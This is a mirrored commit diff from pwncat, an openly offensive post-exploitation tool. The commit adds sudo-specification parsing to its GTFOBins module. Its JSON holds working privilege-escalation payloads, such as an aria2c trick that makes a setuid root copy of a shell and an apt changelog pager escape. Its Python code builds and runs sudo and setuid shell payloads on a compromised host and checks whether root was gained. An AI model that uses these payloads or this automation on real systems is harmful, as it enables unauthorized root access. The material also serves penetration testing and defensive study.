mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added sudo awareness to gtfobins and updated privesc/sudo to understand the new interface. Sudo now supports wildcard listings and can intelligently parse whether a privesc is possible.
This commit is contained in:
parent
1b54ade0fb
commit
068c55f868
@ -1,8 +1,10 @@
|
|||||||
[
|
[
|
||||||
{
|
{
|
||||||
"name": "bash",
|
"name": "bash",
|
||||||
"shell": "{sudo_prefix} {path} -p",
|
"shell": {
|
||||||
"sudo": "{sudo_prefix} {command}",
|
"script": "{command}",
|
||||||
|
"suid": ["-p"]
|
||||||
|
},
|
||||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||||
"write_file": {
|
"write_file": {
|
||||||
"type": "base64",
|
"type": "base64",
|
||||||
@ -13,12 +15,7 @@
|
|||||||
{
|
{
|
||||||
"name": "apt-get",
|
"name": "apt-get",
|
||||||
"shell": {
|
"shell": {
|
||||||
"enter": "{path} changelog apt",
|
"need": ["changelog", "apt"],
|
||||||
"input": "!{shell}\n",
|
|
||||||
"exit": "exit\nq\n"
|
|
||||||
},
|
|
||||||
"sudo": {
|
|
||||||
"enter": "{sudo_prefix} {command} changelog apt",
|
|
||||||
"input": "!{shell}\n",
|
"input": "!{shell}\n",
|
||||||
"exit": "exit\nq\n"
|
"exit": "exit\nq\n"
|
||||||
}
|
}
|
||||||
@ -26,19 +23,16 @@
|
|||||||
{
|
{
|
||||||
"name": "apt",
|
"name": "apt",
|
||||||
"shell": {
|
"shell": {
|
||||||
"enter": "{path} changelog apt",
|
"need": ["changelog", "apt"],
|
||||||
"input": "!{shell}\n",
|
|
||||||
"exit": "exit\nq\n"
|
|
||||||
},
|
|
||||||
"sudo": {
|
|
||||||
"enter": "{sudo_prefix} {command} changelog apt",
|
|
||||||
"input": "!{shell}\n",
|
"input": "!{shell}\n",
|
||||||
"exit": "exit\nq\n"
|
"exit": "exit\nq\n"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "aria2c",
|
"name": "aria2c",
|
||||||
"shell": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {path} --on-download-error=$TF http://x; sleep 1; $SHELL -p",
|
"shell": {
|
||||||
"sudo": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL\" > $TF;chmod +x $TF; {sudo_prefix} {command} --on-download-error=$TF http://x; sleep 1; $SHELL -p"
|
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
|
||||||
|
"need": ["--on-download-error=$TF","http://x"]
|
||||||
|
}
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
@ -1,12 +1,17 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from typing import List, Dict, Any
|
from typing import List, Dict, Any, Callable
|
||||||
from shlex import quote
|
from shlex import quote
|
||||||
import binascii
|
import binascii
|
||||||
import base64
|
import base64
|
||||||
|
import shlex
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
|
||||||
|
class SudoNotPossible(Exception):
|
||||||
|
""" Running the given binary to get a sudo shell is not possible """
|
||||||
|
|
||||||
|
|
||||||
class Binary:
|
class Binary:
|
||||||
|
|
||||||
_binaries: List[Dict[str, Any]] = []
|
_binaries: List[Dict[str, Any]] = []
|
||||||
@ -17,7 +22,13 @@ class Binary:
|
|||||||
self.data = data
|
self.data = data
|
||||||
self.path = path
|
self.path = path
|
||||||
|
|
||||||
def shell(self, shell_path: str, sudo_prefix="") -> str:
|
def shell(
|
||||||
|
self,
|
||||||
|
shell_path: str,
|
||||||
|
sudo_prefix: str = None,
|
||||||
|
command: str = None,
|
||||||
|
suid: bool = False,
|
||||||
|
) -> str:
|
||||||
""" Build a a payload which will execute the binary and result in a
|
""" Build a a payload which will execute the binary and result in a
|
||||||
shell. `path` should be the path to the shell you would like to run. In
|
shell. `path` should be the path to the shell you would like to run. In
|
||||||
the case of GTFOBins that _are_ shells, this will likely be ignored, but
|
the case of GTFOBins that _are_ shells, this will likely be ignored, but
|
||||||
@ -28,22 +39,132 @@ class Binary:
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
if isinstance(self.data["shell"], str):
|
if isinstance(self.data["shell"], str):
|
||||||
enter = self.data["shell"]
|
script = self.data["shell"].format(shell=shell_path, command="{command}")
|
||||||
|
args = []
|
||||||
|
suid_args = []
|
||||||
exit = "exit"
|
exit = "exit"
|
||||||
input = ""
|
input = ""
|
||||||
else:
|
else:
|
||||||
enter = self.data["shell"]["enter"]
|
script = (
|
||||||
|
self.data["shell"]
|
||||||
|
.get("script", "{command}")
|
||||||
|
.format(shell=shell_path, command="{command}")
|
||||||
|
)
|
||||||
|
suid_args = self.data["shell"].get("suid", [])
|
||||||
|
args = [
|
||||||
|
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||||
|
]
|
||||||
exit = self.data["shell"].get("exit", "exit")
|
exit = self.data["shell"].get("exit", "exit")
|
||||||
input = self.data["shell"].get("input", "input")
|
input = self.data["shell"].get("input", "")
|
||||||
|
|
||||||
|
if suid:
|
||||||
|
suid_args.extend(args)
|
||||||
|
args = suid_args
|
||||||
|
|
||||||
|
if script == "":
|
||||||
|
script = "{command}"
|
||||||
|
|
||||||
|
if command is None:
|
||||||
|
command = shlex.join([self.path] + args)
|
||||||
|
if sudo_prefix is not None:
|
||||||
|
command = sudo_prefix + " " + command
|
||||||
|
|
||||||
return (
|
return (
|
||||||
enter.format(
|
script.format(command=command),
|
||||||
path=quote(self.path), shell=quote(shell_path), sudo_prefix=sudo_prefix
|
input.format(shell=shlex.quote(shell_path)),
|
||||||
),
|
|
||||||
input.format(shell=quote(shell_path)),
|
|
||||||
exit,
|
exit,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_shell(self) -> bool:
|
||||||
|
""" Check if this binary has a shell method """
|
||||||
|
return "shell" in self.data
|
||||||
|
|
||||||
|
def can_sudo(self, command: str, shell_path: str) -> List[str]:
|
||||||
|
""" Checks if this command can be leveraged for a shell with sudo. The
|
||||||
|
GTFObin specification must include information on the sudo context. It
|
||||||
|
will check either:
|
||||||
|
|
||||||
|
* There are no parameters in the sudo specification, it succeeds.
|
||||||
|
* There are parameters, but ends in a start, we succeed (doesn't
|
||||||
|
guarantee successful shell, but is more likely)
|
||||||
|
* Parameters match exactly
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not self.has_shell:
|
||||||
|
# We need to be able to run a shell
|
||||||
|
raise SudoNotPossible
|
||||||
|
|
||||||
|
# Split the sudo command specification
|
||||||
|
args = shlex.split(command.rstrip("*"))
|
||||||
|
|
||||||
|
# There was a " *" which is not a wildcard
|
||||||
|
if shlex.split(command)[-1] == "*":
|
||||||
|
has_wildcard = False
|
||||||
|
args.append("*")
|
||||||
|
elif command[-1] == "*":
|
||||||
|
has_wildcard = True
|
||||||
|
|
||||||
|
if isinstance(self.data["shell"], str):
|
||||||
|
need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])]
|
||||||
|
restricted = []
|
||||||
|
else:
|
||||||
|
# Needed and restricted parameters
|
||||||
|
need = [
|
||||||
|
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||||
|
]
|
||||||
|
restricted = self.data["shell"].get("restricted", [])
|
||||||
|
|
||||||
|
# The sudo command is just "/path/to/binary", we are allowed to add any
|
||||||
|
# parameters we want.
|
||||||
|
if len(args) == 1 and command[-1] != " ":
|
||||||
|
return need
|
||||||
|
|
||||||
|
# Check for disallowed arguments
|
||||||
|
for arg in args:
|
||||||
|
if arg in restricted:
|
||||||
|
raise SudoNotPossible
|
||||||
|
|
||||||
|
# Check if we already have the parameters we need
|
||||||
|
needed = {k: False for k in need}
|
||||||
|
for arg in args:
|
||||||
|
if arg in needed:
|
||||||
|
needed[arg] = True
|
||||||
|
|
||||||
|
# Check if we have any missing needed parameters, and no wildcard
|
||||||
|
# was given
|
||||||
|
if any([not v for _, v in needed.items()]) and not has_wildcard:
|
||||||
|
raise SudoNotPossible
|
||||||
|
|
||||||
|
# Either we have all the arguments we need, or we have a wildcard
|
||||||
|
return [k for k, v in needed.items() if not v]
|
||||||
|
|
||||||
|
def sudo_shell(self, user: str, spec: str, shell_path: str) -> str:
|
||||||
|
""" Generate a payload to get a shell with sudo for this binary. This
|
||||||
|
can be complicated, since the sudo specification may include wildcards
|
||||||
|
or other parameters we don't want. We leverage the information in the
|
||||||
|
GTFObins JSON data to determine if it is possible (see `can_sudo`) and
|
||||||
|
then build a payload that should run under the given sudo specification.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# If we can't this will raise an exception up to the caller
|
||||||
|
needed_args = self.can_sudo(spec, shell_path)
|
||||||
|
|
||||||
|
prefix = f"sudo -u {user}"
|
||||||
|
|
||||||
|
if spec.endswith("*") and not spec.endswith(" *"):
|
||||||
|
spec = spec.rstrip("*")
|
||||||
|
|
||||||
|
# There's more arguments we need, and we're allowed to pass them
|
||||||
|
if needed_args:
|
||||||
|
command = spec + " " + " ".join(needed_args)
|
||||||
|
else:
|
||||||
|
command = spec
|
||||||
|
|
||||||
|
command = prefix + " " + command
|
||||||
|
|
||||||
|
return self.shell(shell_path, command=command)
|
||||||
|
|
||||||
def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str:
|
def sudo(self, sudo_prefix: str, command: str, shell_path: str) -> str:
|
||||||
""" Build a a payload which will execute the binary and result in a
|
""" Build a a payload which will execute the binary and result in a
|
||||||
shell. `path` should be the path to the shell you would like to run. In
|
shell. `path` should be the path to the shell you would like to run. In
|
||||||
@ -85,6 +206,11 @@ class Binary:
|
|||||||
path=quote(self.path), lfile=quote(file_path)
|
path=quote(self.path), lfile=quote(file_path)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_read_file(self):
|
||||||
|
""" Check if this binary has a read_file capability """
|
||||||
|
return "read_file" in self.data
|
||||||
|
|
||||||
def write_file(self, file_path: str, data: bytes) -> str:
|
def write_file(self, file_path: str, data: bytes) -> str:
|
||||||
""" Build a payload to write the specified data into the file """
|
""" Build a payload to write the specified data into the file """
|
||||||
|
|
||||||
@ -109,6 +235,11 @@ class Binary:
|
|||||||
data=quote(data.decode("utf-8")),
|
data=quote(data.decode("utf-8")),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_write_file(self):
|
||||||
|
""" Check if this binary has a write_file capability """
|
||||||
|
return "write_file" in self.data
|
||||||
|
|
||||||
def command(self, command: str) -> str:
|
def command(self, command: str) -> str:
|
||||||
""" Build a payload to execute the specified command """
|
""" Build a payload to execute the specified command """
|
||||||
|
|
||||||
@ -119,6 +250,11 @@ class Binary:
|
|||||||
path=quote(self.path), command=quote(command)
|
path=quote(self.path), command=quote(command)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def has_command(self):
|
||||||
|
""" Check if this binary has a command capability """
|
||||||
|
return "command" in self.data
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def load(cls, gtfo_path: str):
|
def load(cls, gtfo_path: str):
|
||||||
with open(gtfo_path) as filp:
|
with open(gtfo_path) as filp:
|
||||||
@ -137,3 +273,42 @@ class Binary:
|
|||||||
return Binary(path, binary)
|
return Binary(path, binary)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
|
||||||
|
""" Locate a GTFObin binary for the given sudo spec. This will separate
|
||||||
|
out the path of the binary from spec, and use `find` to locate a Binary
|
||||||
|
object. If that binary cannot be used with this spec or no binary exists,
|
||||||
|
SudoNotPossible is raised. shell_path is used as the default for specs
|
||||||
|
which specify "ALL". """
|
||||||
|
|
||||||
|
if spec == "ALL":
|
||||||
|
# If the spec specifies any command, we check each known gtfobins
|
||||||
|
# binary for one usable w/ this sudo spec. We use recursion here,
|
||||||
|
# but never more than a depth of one, so it should be safe.
|
||||||
|
for data in cls._binaries:
|
||||||
|
# Resolve the binary path from the name
|
||||||
|
path = get_binary_path(data["name"])
|
||||||
|
|
||||||
|
# This binary doens't exist on the system
|
||||||
|
if path is None:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Recurse using the path as the new spec (won't recurse
|
||||||
|
# again since spec is now a full path)
|
||||||
|
return cls.find_sudo(path, get_binary_path)
|
||||||
|
except SudoNotPossible:
|
||||||
|
pass
|
||||||
|
raise SudoNotPossible("no available gtfobins for ALL")
|
||||||
|
|
||||||
|
path = shlex.split(spec)[0]
|
||||||
|
binary = cls.find(path)
|
||||||
|
|
||||||
|
if binary is None:
|
||||||
|
raise SudoNotPossible(f"no available gtfobins for {spec}")
|
||||||
|
|
||||||
|
# This will throw an exception if we can't sudo with this binary
|
||||||
|
_ = binary.can_sudo(spec, "")
|
||||||
|
|
||||||
|
return spec, binary
|
||||||
|
@ -130,7 +130,7 @@ class SetuidMethod(Method):
|
|||||||
""" Run the specified technique """
|
""" Run the specified technique """
|
||||||
|
|
||||||
binary = technique.ident
|
binary = technique.ident
|
||||||
enter, exit = binary.shell("/bin/bash")
|
enter, input, exit = binary.shell(self.pty.shell, suid=True)
|
||||||
|
|
||||||
info(
|
info(
|
||||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
||||||
@ -140,8 +140,13 @@ class SetuidMethod(Method):
|
|||||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||||
|
|
||||||
# Run the start commands
|
# Run the start commands
|
||||||
self.pty.run(enter + "\n")
|
self.pty.run(enter + "\n", wait=False)
|
||||||
self.pty.recvuntil("\n")
|
|
||||||
|
# Send required input
|
||||||
|
self.pty.client.send(input.encode("utf-8"))
|
||||||
|
|
||||||
|
# Wait for result
|
||||||
|
self.pty.run("echo")
|
||||||
|
|
||||||
# sleep(0.1)
|
# sleep(0.1)
|
||||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||||
|
@ -182,17 +182,16 @@ class SudoMethod(Method):
|
|||||||
if current_user["password"] is None and sudo_privesc["password"]:
|
if current_user["password"] is None and sudo_privesc["password"]:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if sudo_privesc["command"] == "ALL":
|
try:
|
||||||
command_path = self.pty.shell
|
# Locate a GTFObins binary which satisfies the given sudo spec.
|
||||||
else:
|
# The PtyHandler.which method is used to verify the presence of
|
||||||
command_path = shlex.split(sudo_privesc["command"])[0]
|
# different GTFObins on the remote system when an "ALL" spec is
|
||||||
|
# found.
|
||||||
binary = gtfobins.Binary.find(command_path)
|
sudo_privesc["command"], binary = gtfobins.Binary.find_sudo(
|
||||||
if binary is None or binary.shell("") is None:
|
sudo_privesc["command"], self.pty.which
|
||||||
continue
|
)
|
||||||
if sudo_privesc["command"] == "ALL" and binary.shell("") is None:
|
except gtfobins.SudoNotPossible:
|
||||||
continue
|
# No GTFObins possible with this sudo spec
|
||||||
if sudo_privesc["command"] != "ALL" and binary.sudo("", "", "") is None:
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if sudo_privesc["run_as_user"] == "ALL":
|
if sudo_privesc["run_as_user"] == "ALL":
|
||||||
@ -222,7 +221,7 @@ class SudoMethod(Method):
|
|||||||
|
|
||||||
current_user = self.pty.current_user
|
current_user = self.pty.current_user
|
||||||
|
|
||||||
binary, command, password_required = technique.ident
|
binary, sudo_spec, password_required = technique.ident
|
||||||
|
|
||||||
info(
|
info(
|
||||||
f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
f"attempting potential privesc with sudo {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
||||||
@ -231,15 +230,11 @@ class SudoMethod(Method):
|
|||||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||||
|
|
||||||
sudo_prefix = f"sudo -u {technique.user} "
|
shell_payload, input, exit = binary.sudo_shell(
|
||||||
if command == "ALL":
|
technique.user, sudo_spec, self.pty.shell
|
||||||
|
)
|
||||||
|
|
||||||
shell_payload, input, exit = binary.shell(
|
print(shell_payload)
|
||||||
self.pty.shell, sudo_prefix=sudo_prefix
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
payload, input, exit = binary.sudo(sudo_prefix, command, self.pty.shell)
|
|
||||||
shell_payload = f" {payload}"
|
|
||||||
|
|
||||||
# Run the commands
|
# Run the commands
|
||||||
self.pty.run(shell_payload + "\n", wait=False)
|
self.pty.run(shell_payload + "\n", wait=False)
|
||||||
@ -250,23 +245,24 @@ class SudoMethod(Method):
|
|||||||
# Provide stdin if needed
|
# Provide stdin if needed
|
||||||
self.pty.client.send(input.encode("utf-8"))
|
self.pty.client.send(input.encode("utf-8"))
|
||||||
|
|
||||||
# Give it a bit to let the shell start
|
# Give it a bit to let the shell start. We considered a sleep here, but
|
||||||
|
# that was not consistent. This will utilizes the logic in `run` for
|
||||||
|
# waiting for the output of the command (`echo`), which waits the
|
||||||
|
# appropriate amount of time.
|
||||||
self.pty.run("echo")
|
self.pty.run("echo")
|
||||||
|
|
||||||
user = self.pty.whoami()
|
user = self.pty.whoami()
|
||||||
if user == technique.user:
|
if user == technique.user:
|
||||||
success("privesc succeeded")
|
success("privesc succeeded")
|
||||||
return exit
|
return exit
|
||||||
else:
|
|
||||||
error(f"privesc failed (still {user} looking for {technique.user})")
|
|
||||||
|
|
||||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||||
after_shell_level = (
|
|
||||||
int(after_shell_level) if after_shell_level != b"" else 0
|
|
||||||
)
|
|
||||||
|
|
||||||
if after_shell_level > before_shell_level:
|
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||||
info("exiting spawned inner shell")
|
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
|
||||||
self.pty.run(exit, wait=False) # here be dragons
|
|
||||||
|
if after_shell_level > before_shell_level:
|
||||||
|
info("exiting spawned inner shell")
|
||||||
|
self.pty.run(exit, wait=False) # here be dragons
|
||||||
|
|
||||||
raise PrivescError("failed to privesc")
|
raise PrivescError("failed to privesc")
|
||||||
|
Loading…
Reference in New Issue
Block a user